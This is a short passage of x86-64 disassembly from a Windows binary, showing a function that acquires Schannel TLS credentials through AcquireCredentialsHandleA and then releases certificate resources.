or dword [rbp + 0x3f], 0x18
lea rdx, str.Microsoft_Unified_Security_Protocol_Provider
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
lea rax, [rbp - 9]
and qword [rsp + 0x30], 0
xor ecx, ecx
and qword [rsp + 0x28], 0
lea r8d, [r9 + 2]
mov qword [rsp + 0x20], rax
call qword [sym.imp.Secur32.dll_AcquireCredentialsHandleA]
mov edi, eax
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x140008ee1
call qword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and qword [rbp - 0x19], 0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.CRYPT32.dll_CertCloseStore]
mov eax, edi
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14000c390
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret